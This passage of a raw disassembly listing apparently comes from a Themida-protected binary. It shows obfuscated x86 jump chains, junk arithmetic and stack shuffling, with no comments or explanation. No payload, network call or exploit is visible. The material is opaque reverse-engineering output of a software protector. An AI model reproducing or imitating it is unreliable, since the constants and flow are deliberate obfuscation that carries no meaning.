cx, al push cx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591BA7: ; CODE XREF: sub_59196D+176Dj mov [esp+20h+var_22+2], edi push ebx add [esp+24h+var_26+2], 6F3A4B7Bh mov edi, [esp+24h+var_26+2] add esp, 4 push esi jmp loc_592F27 ; --------------------------------------------------------------------------- loc_591BC1: ; CODE XREF: sub_59196D-5DA5j mov eax, [esp+20h+var_22+2] add esp, 4 jmp loc_597403 ; --------------------------------------------------------------------------- loc_591BCF: ; CODE XREF: sub_59196D-47F4j ; sub_59196D+D76j add edi, ebx mov ebx, [esp+0Ch+var_C] add esp, 4 push edx sub esp, 4 mov [esp+10h+var_12+2], esi push 2C9452C0h jmp loc_596E87 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+14h+var_16+2] push eax push esp pop eax sub esp, 4 jmp loc_5933CE ; --------------------------------------------------------------------------- loc_591BFA: ; CODE XREF: sub_59196D+27B5j xchg ebx, [esp+1Ch+var_1E+2] pop esp mov ebp, eax pop eax jmp loc_593426 ; --------------------------------------------------------------------------- loc_591C06: ; CODE XREF: sub_59196D-115Ej add eax, edx pop edx jmp loc_59293D ; --------------------------------------------------------------------------- loc_591C0E: ; CODE XREF: sub_59196D-4810j sub ecx, 5FA603F5h add ecx, 704874E6h jmp loc_58EF07 ; --------------------------------------------------------------------------- loc_591C1F: ; CODE XREF: sub_59196D+1B96j xor esi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], esi jmp loc_59857F ; --------------------------------------------------------------------------- loc_591C2A: ; CODE XREF: sub_59196D-4809j sub esp, 4 mov [esp+10h+var_12+2], esi jmp loc_593813 ; --------------------------------------------------------------------------- loc_591C35: ; CODE XREF: sub_59196D+5E44j mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_5934C6 ; --------------------------------------------------------------------------- loc_591C46: ; CODE XREF: sub_59196D+1B4Bj and esi, 72094548h jmp loc_594197 ; --------------------------------------------------------------------------- loc_591C51: ; CODE XREF: sub_59196D-6054j push edi mov edi, 70FD3DB5h push ebp mov ebp, 0DE5191h add ebp, 79060AC3h sub edi, ebp jmp loc_58E776 ; --------------------------------------------------------------------------- loc_591C6A: ; CODE XREF: sub_59196D+1BE3j mov esp, [esp+1Ch+var_1E+2] jmp loc_58CBA9 ; --------------------------------------------------------------------------- loc_591C72: ; CODE XREF: sub_59196D+1A7Dj mov edi, 60F2436Fh mov ebx, 60F24373h sub ebx, edi mov edi, [esp+1Ch+var_1E+2] jmp loc_59792E ; --------------------------------------------------------------------------- loc_591C86: ; CODE XREF: sub_59196D-4E18j dec edx jmp loc_594DC5 ; --------------------------------------------------------------------------- loc_591C8C: ; CODE XREF: sub_59196D+18F6j mov [esp+14h+var_16+2], edx mov edx, 4D6D23A1h push eax push 0FFFFFFFFh pop eax sub edx, eax pop eax sub edx, 54C30C73h jnz loc_58F9E2 inc edx jle loc_598588 shr edx, 3 mov al, ah push ecx loc_591CB7: ; CODE XREF: sub_59196D+647j add edx, 5D91700Bh add edx, edi sub edx, 5D91700Bh add edx, 3DE67288h jmp loc_59841A ; --------------------------------------------------------------------------- loc_591CD0: ; CODE XREF: sub_59196D+38F3j push 163Eh mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 pop ebx sub esp, 4 jmp loc_58B8B5 ; --------------------------------------------------------------------------- loc_591CE8: ; CODE XREF: sub_59196D+4127j jp loc_5944D3 push eax mov al, 1 xor cl, al pop eax sub al, 86h jmp loc_58D6CE ; --------------------------------------------------------------------------- pop esp loc_591CFC: ; CODE XREF: sub_59196D+FCBj not esi dec esi neg esi sub esi, 720E3D41h add esi, 3E11C842h jmp loc_5985DD ; --------------------------------------------------------------------------- push [esp+18h+var_1A+2] push [esp+1Ch+var_1E+2] mov edx, [esp+20h+var_22+2] push 36B9h mov [esp+24h+var_26+2], edi mov edi, esp push ebp jmp loc_58C71F ; --------------------------------------------------------------------------- loc_591D2B: ; CODE XREF: sub_59196D+1114j mov esi, 4 sub edx, esi mov esi, [esp+28h+var_2A+2] add esp, 4 xchg edx, [esp+24h+var_26+2] jmp loc_59810F ; --------------------------------------------------------------------------- loc_591D40: ; CODE XREF: sub_59196D+4D17j ; sub_59196D+64E6j mov ebx, 2CAE09D6h mov ebp, 718B5FE2h sub ebp, ebx jmp loc_58BB85 ; --------------------------------------------------------------------------- loc_591D51: ; CODE XREF: sub_59196D-343j push esi mov esi, 66DF1857h not esi push edx mov edx, 5A0D27FCh or esi, edx mov edx, [esp+0] add esp, 4 dec esi jmp loc_58EB83 ; --------------------------------------------------------------------------- loc_591D70: ; CODE XREF: sub_59196D-4837j mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+8+var_8] pop esp push 7AA4h jmp loc_595CC1 ; --------------------------------------------------------------------------- loc_591D89: ; CODE XREF: sub_59196D+680Cj mov ebp, 1A72116Fh sub ebp, 0F8439746h push ecx mov ecx, ebp mov ebx, ecx pop ecx mov ebp, [esp+8+var_8] add esp, 4 sub ebx, 222E7A25h add ecx, 15BE4CE7h add ecx, ebx sub ecx, 15BE4CE7h jmp loc_59454E ; --------------------------------------------------------------------------- loc_591DB9: ; CODE XREF: sub_59196D+421Ej push ebp jmp loc_5970C1 ; --------------------------------------------------------------------------- loc_591DBF: ; CODE XREF: sub_59196D+3850j mov [esp+8+var_8], ebx push 0 mov ebx, [esp+0Ch+var_C] add esp, 4 add ebx, eax push 136Dh mov [esp+0Ch+var_C], eax mov eax, 0 add eax, 21FA130Fh sub eax, 7ACE43B0h add eax, ebx add eax, 7ACE43B0h sub eax, 21FA130Fh mov [eax], dl pop eax push [esp+8+var_8] pop ebx push ebx jmp loc_5985C7 ; --------------------------------------------------------------------------- loc_591E02: ; CODE XREF: Themida_:0058F227j push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_59548C ; --------------------------------------------------------------------------- loc_591E13: ; CODE XREF: sub_59196D-523j mov ebp, 264B2D22h dec ebp push edx jmp loc_597A91 ; --------------------------------------------------------------------------- loc_591E1F: ; CODE XREF: sub_59196D+4B63j mov edi, 188460F2h dec edi not edi jmp loc_58DA74 ; --------------------------------------------------------------------------- loc_591E2C: ; CODE XREF: sub_59196D-2647j push esi jmp loc_58D81C ; --------------------------------------------------------------------------- loc_591E32: ; CODE XREF: sub_59196D-AF4j add esp, 4 xchg esi, [esp+0] pop esp dec byte ptr [esp+0Ah+var_C+2] pushf jmp loc_591A77 ; --------------------------------------------------------------------------- loc_591E45: ; CODE XREF: sub_59196D+4EDCj mov dl, 4Ch add dl, 0FCh jmp loc_594DF5 ; --------------------------------------------------------------------------- loc_591E4F: ; CODE XREF: sub_59196D+1691j pop ebx push esi push 77B24A2Ch pop esi sub esi, 60A5F709h mov edx, esi pop esi add edx, ebp jmp loc_592BEA ; --------------------------------------------------------------------------- loc_591E67: ; CODE XREF: sub_59196D-3F2Aj jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591E6C: ; CODE XREF: sub_59196D-48CBj shl al, 3 sub al, 0FFh jmp loc_59468C ; --------------------------------------------------------------------------- loc_591E76: ; CODE XREF: sub_59196D-637Dj ; sub_59196D-2F2Dj jmp loc_58C902 ; --------------------------------------------------------------------------- loc_591E7B: ; CODE XREF: sub_59196D-4C7Cj ; sub_59196D:loc_58F7B8j pop ebx mov edx, esi pop esi jmp loc_58F8DE ; --------------------------------------------------------------------------- loc_591E84: ; CODE XREF: sub_59196D-1F9Ej push 2299609Fh jmp loc_59736C ; --------------------------------------------------------------------------- loc_591E8E: ; CODE XREF: sub_59196D-53A5j mov cx, 5BCBh add ax, cx jmp loc_58BA6A ; --------------------------------------------------------------------------- loc_591E9A: ; CODE XREF: sub_59196D+3A98j mov [esp+14h+var_16+2], eax mov ebx, [esp+14h+var_16+2] add esp, 4 mov eax, [esp+10h+var_12+2] jmp loc_58EA14 ; --------------------------------------------------------------------------- loc_591EAB: ; CODE XREF: sub_59196D+114Cj xor ah, dh pop edx inc ah xor ah, 52h sub dh, ah pop eax pop eax add al, 0B3h sub al, dh sub al, 0B3h push [esp+4+var_4] pop edx add esp, 4 push 2EDAh mov [esp+4+var_4], edx push ecx push 4951h jmp loc_58F1D1 ; --------------------------------------------------------------------------- loc_591EDA: ; CODE XREF: sub_59196D+12A7j sub esp, 4 jmp loc_593C1D ; --------------------------------------------------------------------------- loc_591EE5: ; CODE XREF: sub_59196D-5DF2j ; sub_59196D-5DDBj inc ebp xor ebp, 6A250535h add ebp, 0D84514Ch jmp loc_5954E2 ; --------------------------------------------------------------------------- loc_591EF7: ; CODE XREF: sub_59196D+3A15j jz loc_591F7B dec edx js loc_58EDED jmp loc_59355D ; --------------------------------------------------------------------------- loc_591F09: ; CODE XREF: sub_59196D-5208j add eax, ebp jmp loc_5950C5 ; --------------------------------------------------------------------------- loc_591F10: ; CODE XREF: sub_59196D-49EBj push 78AAh mov [esp+18h+var_1A+2], esi jmp loc_58FE8E ; --------------------------------------------------------------------------- loc_591F1D: ; CODE XREF: Themida_:0058DEECj sub esp, 4 mov [esp+1Ch+var_1E+2], esp add [esp+1Ch+var_1E+2], 4 jmp loc_5981B9 ; --------------------------------------------------------------------------- loc_591F2F: ; CODE XREF: sub_59196D-4329j add [esp+30h+var_32+2], 2BE956F0h jmp loc_591115 ; --------------------------------------------------------------------------- loc_591F3B: ; CODE XREF: sub_59196D-312j mov edx, 22071A7Dh dec edx push ebx mov ebx, 213F5D9Fh add ebx, 1 jmp loc_591B65 ; --------------------------------------------------------------------------- loc_591F52: ; CODE XREF: sub_59196D+2009j push ebx mov ebx, 4ADC262Dh push ebx jmp loc_58ED2B ; --------------------------------------------------------------------------- loc_591F5E: ; CODE XREF: sub_59196D+B23j push [esp+44h+var_44] mov eax, [esp+48h+var_4A+2] add esp, 4 push 30E5h mov [esp+48h+var_4A+2], ecx mov ecx, esp jmp loc_5959C0 ; --------------------------------------------------------------------------- loc_591F76: ; CODE XREF: sub_59196D-35E8j jmp loc_58B37B ; --------------------------------------------------------------------------- loc_591F7B: ; CODE XREF: sub_59196D:loc_591EF7j dec edx js loc_590994 jmp loc_58D619 ; --------------------------------------------------------------------------- loc_591F87: ; CODE XREF: sub_59196D+35E3j xor edi, [esp+1Ch+var_1E+2] pop esp sub esp, 4 mov [esp+1Ch+var_1E+2], eax mov eax, 3A570897h add edx, eax push [esp+1Ch+var_1E+2] pop eax add esp, 4 push edi mov edi, 0FAC135Eh push edi mov edi, 3DE67288h sub edx, edi pop edi jmp loc_591CB7 ; --------------------------------------------------------------------------- loc_591FB9: ; CODE XREF: sub_59196D+48CFj shr cl, 4 sub cl, 69h jmp loc_59351E ; --------------------------------------------------------------------------- loc_591FC4: ; CODE XREF: sub_59196D+56E9j xor ecx, 12018h add eax, ecx jmp loc_595E79 ; --------------------------------------------------------------------------- loc_591FD1: ; CODE XREF: sub_59196D-2532j xor ecx, 0B2FB5A8Eh and eax, ecx mov ecx, [esp-0Eh+arg_8+2] push esi mov esi, esp push 2620h mov [esp-6+arg_0+2], eax push ebx jmp sub_58E5BF ; --------------------------------------------------------------------------- loc_591FED: ; CODE XREF: sub_59196D+54A8j xor [esp+0], edx xor edx, [esp+0] jmp loc_58ED92 ; --------------------------------------------------------------------------- loc_591FF8: ; CODE XREF: sub_59196D-5387j push 6BDh mov [esp+18h+var_1A+2], ecx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592005: ; CODE XREF: sub_59196D-5362j sub ebp, 16200908h add esi, ebp push [esp+10h+var_12+2] pop ebp add esp, 4 push 6FC8h mov [esp+10h+var_12+2], ebx push ebp mov ebp, 4 jmp loc_59236A ; --------------------------------------------------------------------------- loc_59202A: ; CODE XREF: sub_59196D-5905j ; sub_59196D-383Dj push ecx mov ecx, 9A17A53h shl ecx, 2 sub ecx, 0FEA64B4h xor ecx, 169B849Ch add ebp, ecx pop ecx xchg ebp, [esp+4+var_4] pop esp sub bl, al add bl, 0DAh jmp loc_58E6E1 ; --------------------------------------------------------------------------- loc_592050: ; CODE XREF: sub_59196D-4E28j add esi, 4 push edx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp+0] xor [esp+0], ebp xor ebp, [esp+0] pop esp mov [esp+42h+var_44+2], ecx jmp loc_5957FE ; --------------------------------------------------------------------------- loc_592078: ; CODE XREF: sub_59196D-33CBj or edi, 4E855E98h shl edi, 3 sub edi, 0AA1736B8h xor edx, edi pop edi and eax, edx mov edx, [esp+2Ch+var_2E+2] add esp, 4 jmp loc_59375E ; --------------------------------------------------------------------------- loc_59209A: ; CODE XREF: sub_59196D+5738j push edi mov edi, 7F5D6A68h neg edi jnp loc_58F56B neg edi jge loc_590BAA push ebx push edx loc_5920B2: ; CODE XREF: sub_59196D-46B3j ; sub_59196D:loc_58F0C0j add edx, 4CBA6F33h jmp loc_591AFC ; --------------------------------------------------------------------------- loc_5920BD: ; CODE XREF: sub_59196D+4305j and dx, 7A14h jle loc_5909C3 xor dx, 3BCCh mov di, dx jmp loc_58DB1A ; --------------------------------------------------------------------------- loc_5920D5: ; CODE XREF: sub_59196D+3126j push 7629h mov [esp+0], ebp sub esp, 4 jmp loc_58B5E4 ; --------------------------------------------------------------------------- loc_5920E5: ; CODE XREF: sub_59196D-5AC1j add eax, 4 xor eax, [esp+36h+var_36] xor [esp+36h+var_36], eax xor eax, [esp+36h+var_36] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp+36h+var_36] pop esp mov [esp+32h+var_32], ecx push 479Eh mov [esp+36h+var_36], ebx jmp loc_58D6B6 ; --------------------------------------------------------------------------- loc_592112: ; CODE XREF: sub_59196D+B7Ej push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+3Ah+var_3C+2] pop esp sub edi, 1 xor edi, 90C4027h add esi, edi pop edi jmp loc_59764E ; --------------------------------------------------------------------------- loc_592136: ; CODE XREF: sub_59196D-1298j pop ebx add ebx, 4 push edx mov edx, 2 add ebx, 19CB587Ah sub ebx, 440F0985h add ebx, edx add ebx, 440F0985h jmp loc_594185 ; --------------------------------------------------------------------------- loc_59215C: ; CODE XREF: sub_59196D+31A8j mov esi, 2EAD0E95h inc esi shr esi, 3 sub esi, 46BA05C6h shr esi, 3 jmp loc_58C66F ; --------------------------------------------------------------------------- loc_592173: ; CODE XREF: sub_59196D+550Ej mov ebp, 4 add ebx, ebp pop ebp xchg ebx, [esp+34h+var_36+2] pop esp div ecx push 5981h jmp loc_58F942 ; --------------------------------------------------------------------------- loc_59218B: ; CODE XREF: sub_59196D-28B2j xor edi, 3097717Fh jmp loc_595BF2 ; --------------------------------------------------------------------------- loc_592196: ; CODE XREF: sub_59196D-17EBj push ecx jmp loc_59060C ; --------------------------------------------------------------------------- loc_59219C: ; CODE XREF: sub_59196D+4886j mov ecx, edi pop edi sub eax, ecx jmp loc_59071E ; --------------------------------------------------------------------------- loc_5921A6: ; CODE XREF: sub_59196D+6919j sub bl, al add bl, 5Fh jmp loc_594365 ; --------------------------------------------------------------------------- loc_5921B0: ; CODE XREF: sub_59196D+6BF3j push dword ptr [edx] mov eax, [esp+20h+var_22+2] push edi mov edi, esp add edi, 4 jmp loc_59721A ; --------------------------------------------------------------------------- loc_5921C3: ; CODE XREF: sub_59196D-1336j mov ecx, [esp+28h+var_2A+2] add esp, 4 add ebx, edx mov edx, [esp+24h+var_26+2] add esp, 4 add ebx, 2 xchg ebx, [esp+20h+var_22+2] mov esp, [esp+20h+var_22+2] inc byte ptr [esp+20h+var_22+2] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_5921E9: ; CODE XREF: sub_59196D-5CB2j not eax jmp loc_5966FE ; --------------------------------------------------------------------------- loc_5921F0: ; CODE XREF: sub_59196D+3CF9j sub eax, 1FF2BAFh sub eax, ebp jmp loc_596488 ; --------------------------------------------------------------------------- loc_5921FC: ; CODE XREF: sub_58C19E+40B0j push ebx mov ebx, esp push ecx push esi mov esi, 3E9C0CA6h mov ecx, esi pop esi neg ecx shr ecx, 5 xor ecx, 703C472Fh jmp loc_5975DA ; --------------------------------------------------------------------------- loc_592219: ; CODE XREF: sub_59196D+2D84j add ebx, ecx pop ecx xchg ebx, [esp+2Ch+var_2E+2] jmp loc_58EE8B ; --------------------------------------------------------------------------- loc_592224: ; CODE XREF: sub_59196D+3A1Dj ; sub_59196D+3CADj ... push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp+30h+var_32+2] pop esp mov [esp+2Ch+var_2E+2], esi jmp loc_5948D2 ; --------------------------------------------------------------------------- loc_59223C: ; CODE XREF: Themida_:0058F482j push eax jmp loc_596320 ; --------------------------------------------------------------------------- push dword ptr [edx] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592249: ; CODE XREF: sub_59196D-52Fj mov ebp, esp push eax mov eax, 5F576600h and eax, 2BE1151h inc eax dec eax xor eax, 2160004h add ebp, eax mov eax, [esp+20h+var_22+2] add esp, 4 jmp loc_5943D3 ; --------------------------------------------------------------------------- loc_59226A: ; CODE XREF: sub_58BB31+1Cj mov ebx, esp add ebx, 4 jmp loc_597E0C ; --------------------------------------------------------------------------- loc_592277: ; CODE XREF: sub_59196D+E10j push ecx mov ch, 0FAh sub ch, 63h add bh, ch pop ecx sub al, bh pop ebx push [esp+18h+var_1A+2] mov ecx, [esp+1Ch+var_1E+2] jmp loc_5914DB ; --------------------------------------------------------------------------- loc_59228E: ; CODE XREF: sub_59196D+18C5j neg edx sub edx, 393788BCh or ebx, edx pop edx sub ebx, 37FB7B06h jmp loc_58EF4A ; --------------------------------------------------------------------------- loc_5922A4: ; CODE XREF: sub_59196D-932j ; sub_59196D+217Aj inc esi add esi, 2FAB1578h jmp loc_592CA8 ; --------------------------------------------------------------------------- loc_5922B0: ; CODE XREF: sub_59196D-180Fj push ebp mov ebp, 5E024D4h jmp loc_596F45 ; --------------------------------------------------------------------------- loc_5922BB: ; CODE XREF: sub_598477+24j mov ebp, [esp+24h+var_26+2] add esp, 4 jmp loc_594C95 ; --------------------------------------------------------------------------- loc_5922C9: ; CODE XREF: sub_59196D-4E11j ; sub_59196D:loc_593508j jnz loc_59554A push edx xchg eax, [esp+18h+var_1A+2] not eax and al, 48h mov bh, 55h loc_5922D9: ; CODE XREF: sub_59196D-3EEAj pop ebp jmp sub_58C3EF ; --------------------------------------------------------------------------- loc_5922DF: ; CODE XREF: sub_59196D+E28j mov edx, 7A449C6h jmp loc_596D3C ; --------------------------------------------------------------------------- mov cx, word ptr [esp+14h+var_16+2] push 7805h mov [esp+18h+var_1A+2], ebp push 606Dh mov [esp+1Ch+var_1E+2], esp jmp loc_594E03 ; --------------------------------------------------------------------------- loc_592302: ; DATA XREF: Themida_:0058B18Co push dword ptr [edi+1Ch] popf pop eax sbb [esp+18h+var_1A+2], eax pushf jmp loc_58D3A6 ; --------------------------------------------------------------------------- loc_592310: ; CODE XREF: sub_59196D-2F9Fj sub ebx, 4F1426C8h add ebx, esi add ebx, 4F1426C8h pop esi xor ebx, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], ebx xor ebx, [esp+18h+var_1A+2] mov esp, [esp+18h+var_1A+2] imul ecx, eax push ecx pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592335: ; CODE XREF: sub_59196D-20CCj jl loc_59464F dec esi jmp loc_598385 ; --------------------------------------------------------------------------- xor dl, bl pop ebx add cl, dl pop edx loc_592347: ; CODE XREF: sub_59196D:loc_590AFAj shl dh, 3 add dh, 9Bh jmp loc_58DE16 ; --------------------------------------------------------------------------- loc_592352: ; CODE XREF: sub_59196D-605Ej add esp, 4 xchg ebx, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] jmp loc_594A2F ; --------------------------------------------------------------------------- loc_592363: ; CODE XREF: sub_59196D-108Ej sub al, 0E6h jmp loc_595BB0 ; --------------------------------------------------------------------------- loc_59236A: ; CODE XREF: sub_59196D+6B8j mov ebx, ebp jmp loc_5971DF ; --------------------------------------------------------------------------- loc_592371: ; CODE XREF: sub_59196D:loc_5975CCj neg bl neg bl jz loc_596E80 jmp loc_58F7A6 ; --------------------------------------------------------------------------- loc_592380: ; CODE XREF: sub_59196D-34A9j xchg eax, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], esi jmp loc_590171 ; --------------------------------------------------------------------------- loc_59238C: ; CODE XREF: sub_59196D+3A5Ej add eax, 3CE76C6h sub eax, edx sub eax, 3CE76C6h jmp loc_58F761 ; --------------------------------------------------------------------------- loc_59239D: ; CODE XREF: sub_59196D-155Dj or edi, 3CE54C4Bh xor edi, 85AEC79Fh sub eax, edi pop edi jmp loc_5957B8 ; --------------------------------------------------------------------------- loc_5923B1: ; CODE XREF: sub_59196D+3651j sub al, 32h jmp loc_5944E0 ; --------------------------------------------------------------------------- loc_5923B8: ; CODE XREF: sub_59196D-4EA0j sub al, 60h pop edx sub bl, 2Dh push edx mov dl, 0F7h sub bl, dl push [esp+3Ah+var_3C+2] pop edx sub esp, 4 mov [esp+3Eh+var_40+2], ecx mov ecx, esp jmp loc_58F612 ; --------------------------------------------------------------------------- loc_5923D7: ; CODE XREF: sub_59196D-2FD3j push ebx push 89D4FBDh pop ebx jmp loc_58F3BB ; --------------------------------------------------------------------------- loc_5923E3: ; CODE XREF: sub_59196D-4568j add ecx, edi add ecx, 257131ADh add dword ptr [ecx], 1 mov ecx, [esp+34h+var_36+2] push eax jmp loc_595EB3 ; --------------------------------------------------------------------------- loc_5923FA: ; CODE XREF: sub_59196D-3FDj not ebp xor ebp, 0F284C9BFh jmp loc_596E76 ; --------------------------------------------------------------------------- loc_592407: ; CODE XREF: sub_59196D-E4Dj push ebp push [esp+18h+var_16+2] jmp loc_58C151 ; --------------------------------------------------------------------------- loc_592411: ; CODE XREF: sub_59196D-EC9j shl ebp, 7 js loc_595F02 shl ebp, 5 js loc_58D09B and cl, 88h push eax loc_592427: ; CODE XREF: sub_59196D-121j sub ebx, 1507045Bh sub ebx, 334B6B65h add ebx, 6D380B9Bh pop esi xor eax, ebx mov ebx, [esp+0] jmp sub_58CE9F ; --------------------------------------------------------------------------- loc_592444: ; CODE XREF: sub_59196D+3713j mov [ebx], al pop ebx jmp loc_5973FE ; --------------------------------------------------------------------------- loc_59244C: ; CODE XREF: sub_59196D-274Fj ror byte ptr [esp+10h+var_12+2], cl pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592455: ; CODE XREF: sub_59196D-83Dj ; sub_59196D+698Bj jmp loc_596495 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-0Ch+arg_8] push ebx mov ebx, esp push 6041h jmp loc_590032 ; --------------------------------------------------------------------------- loc_59246B: ; CODE XREF: sub_59196D:loc_5914AFj ; sub_59196D+2F46j push esi push edx jmp loc_58CBBE ; --------------------------------------------------------------------------- loc_592472: ; CODE XREF: Themida_:0058E1E5j ; sub_59196D+439Fj mov eax, 7D9D6D40h jmp loc_58D7A0 ; --------------------------------------------------------------------------- loc_59247C: ; CODE XREF: sub_59196D+51D5j inc esi jge loc_594CA4 add esi, 305D676Ch mov bh, 52h pop ebp loc_59248D: ; DATA XREF: Themida_:0058B188o push dword ptr [edi+3Ch] jmp loc_591F5E ; --------------------------------------------------------------------------- loc_592495: ; CODE XREF: sub_59196D:loc_58FF02j ; sub_59196D-70Fj pop ebp xchg esi, [esp+2+var_4+2] pop esp movzx ecx, al push 1CB1h mov [esp+2+var_4+2], eax jmp loc_59817E ; --------------------------------------------------------------------------- loc_5924AA: ; CODE XREF: sub_59196D:loc_593C54j neg ebp jl loc_593941 and ebp, 23417AE9h jno loc_59507F mov ebx, edi push edx loc_5924C1: ; CODE XREF: sub_59196D-57D4j push ebx jmp loc_594B1A ; --------------------------------------------------------------------------- loc_5924C7: ; CODE XREF: sub_59196D+4468j ; sub_59196D+5EDEj jmp loc_58D81C ; --------------------------------------------------------------------------- loc_5924CC: ; CODE XREF: sub_59196D-273j jmp loc_58FDFD ; --------------------------------------------------------------------------- loc_5924D1: ; CODE XREF: sub_59196D-263Cj not ecx inc ecx xor ecx, 7E9175A2h and ecx, 7A7770A7h add ecx, 0DD8A310Fh and edi, ecx mov ecx, [esp+1Ch+var_1E+2] jmp loc_592112 ; --------------------------------------------------------------------------- loc_5924F0: ; CODE XREF: sub_58CA8D+6j pop ebx add ebx, 4 jmp loc_58B7AD ; --------------------------------------------------------------------------- loc_5924FC: ; CODE XREF: sub_59196D-133Dj sub edi, 189A768Ch add edi, esi add edi, 189A768Ch push ebx mov ebx, 31DF4897h jmp loc_58FFDE ; --------------------------------------------------------------------------- loc_592515: ; CODE XREF: sub_59196D:loc_58E129j inc edx jmp loc_58DD70 ; --------------------------------------------------------------------------- loc_59251B: ; CODE XREF: sub_59196D+6965j inc word ptr [esp+14h+var_16+2] pushf jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592525: ; CODE XREF: sub_59196D+49D7j dec ecx add ecx, 0B570FA70h sub edi, ecx pop ecx mov eax, edi pop edi sub eax, 5C7A2E4Bh mov ebx, eax pop eax sub ebx, edx mov edx, [esp+0Ch+var_C] sub esp, 4 jmp loc_58EE6D ; --------------------------------------------------------------------------- loc_592547: ; CODE XREF: sub_59196D+5072j mov edx, esp add edx, 4 push ebp push 4 pop ebp push eax push ebp mov ebp, 4FB74075h mov eax, ebp jmp loc_58D35B ; --------------------------------------------------------------------------- push 49FBh jmp loc_593C8D ; --------------------------------------------------------------------------- loc_59256E: ; CODE XREF: sub_59196D-3EDCj mov edx, [esp+10h+var_12+2] add esp, 4 push 1149h mov [esp+10h+var_12+2], ebx jmp loc_598061 ; --------------------------------------------------------------------------- loc_592581: ; CODE XREF: sub_58CF0B+Cj xchg ebx, [esp+10h+var_12+2] mov esp, [esp+10h+var_12+2] mov [esp+10h+var_12+2], eax jmp loc_592B05 ; --------------------------------------------------------------------------- loc_59258F: ; CODE XREF: sub_59196D-64DAj add esp, 4 push edi mov edi, 0E4C7134Bh add esi, edi jmp loc_58D044 ; --------------------------------------------------------------------------- loc_5925A2: ; CODE XREF: sub_59196D-ACAj and edx, 2FC17A04h jo loc_5970F4 or edx, 63350DB9h ja loc_592A5D sub edx, 6F752D81h add edx, edi push edx mov edx, esp push eax and cl, 0C6h loc_5925C9: ; CODE XREF: sub_59196D-9E2j add ecx, 2771231Dh push esi mov esi, ecx mov edx, esi pop esi pop ecx jmp loc_5937B8 ; --------------------------------------------------------------------------- loc_5925DB: ; CODE XREF: sub_59196D-5D7Cj mov ebx, 1CF34995h jmp loc_5948E1 ; --------------------------------------------------------------------------- loc_5925E5: ; CODE XREF: sub_59196D-5821j add edi, edx add edi, 1E493EC7h mov edx, [esp+18h+var_1A+2] jmp loc_59189F ; --------------------------------------------------------------------------- loc_5925F5: ; CODE XREF: sub_59196D-A78j add eax, 4 add eax, 4 xchg eax, [esp+1Ch+var_1E+2] jmp loc_58DA2F ; --------------------------------------------------------------------------- loc_592607: ; CODE XREF: sub_59196D-1DE2j movsx cx, al push small 7651h jmp loc_591978 ; --------------------------------------------------------------------------- loc_592614: ; DATA XREF: Themida_:0058B0F0o mov ax, word ptr [esp-6+arg_0+2] push edx jmp loc_59025B ; --------------------------------------------------------------------------- loc_59261E: ; CODE XREF: sub_59196D-46ABj shr edx, 1 xor edx, 1B5D6CD9h mov eax, edx pop edx add ecx, eax pop eax jmp loc_597BFE ; --------------------------------------------------------------------------- loc_592631: ; CODE XREF: sub_59196D+3C8Fj ; sub_59196D+3C95j push ebp push esp pop ebp add ebp, 4 push 42B8h mov [esp+0], edx mov edx, 4 push ecx mov ecx, 16D56E58h and ecx, 5DCB4076h dec ecx sub ecx, 0FFFFFFFFh add ecx, 0AB20469h add ebp, ecx pop ecx sub ebp, edx push eax mov eax, 12F1C57h sub eax, 0FFFFFFFFh sub eax, 0E1BBD79Fh sub ebp, eax pop eax mov edx, [esp+0] add esp, 4 xchg ebp, [esp+42h+var_44+2] jmp loc_58DE30 ; --------------------------------------------------------------------------- loc_592686: ; CODE XREF: sub_59196D+6338j shl edx, 1 jmp sub_591077 ; --------------------------------------------------------------------------- loc_59268D: ; CODE XREF: sub_59196D-3725j mov [esp+28h+var_2A+2], ecx jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592695: ; CODE XREF: sub_59196D+3E25j mov esp, [esp+28h+var_2A+2] jmp loc_58BF1D ; --------------------------------------------------------------------------- loc_59269D: ; CODE XREF: sub_59196D+2DB1j add bl, 0A3h add al, bl pop ebx push 3BBDh mov [esp+28h+var_2A+2], edx jmp loc_58E7E9 ; --------------------------------------------------------------------------- loc_5926B0: ; CODE XREF: sub_59196D+1980j dec eax neg eax jnb loc_5962F4 dec eax jns loc_58F8CE xor eax, 0BB938F45h mov ebx, eax pop eax add ebx, 2C6073AEh shr ebx, 7 sub ebx, 53183204h sub ebx, 7CB85E52h sub ebx, 30BDB49Ch jmp loc_591BCF ; --------------------------------------------------------------------------- loc_5926E8: ; CODE XREF: sub_59196D-27D0j xor byte ptr [esp+18h+var_1A+3], bh jmp loc_594D95 ; --------------------------------------------------------------------------- loc_5926F1: ; CODE XREF: sub_59196D-27F8j add ebx, edi mov edi, [esp-14h+arg_10] add esp, 4 jmp loc_593713 ; --------------------------------------------------------------------------- loc_592701: ; CODE XREF: Themida_:0058EF17j push ebx not [esp-14h+arg_10] jmp loc_5919F8 ; --------------------------------------------------------------------------- loc_59270A: ; CODE XREF: sub_59196D+2E5Fj mov [esp-14h+arg_10], ebp inc [esp-14h+arg_10] push [esp-14h+arg_10] jmp loc_58DF7D ; --------------------------------------------------------------------------- loc_592718: ; CODE XREF: sub_59196D+105Fj xor esi, ebx xor ebx, esi xchg ebx, [esp-10h+arg_C] jmp loc_58B37B ; --------------------------------------------------------------------------- loc_592724: ; CODE 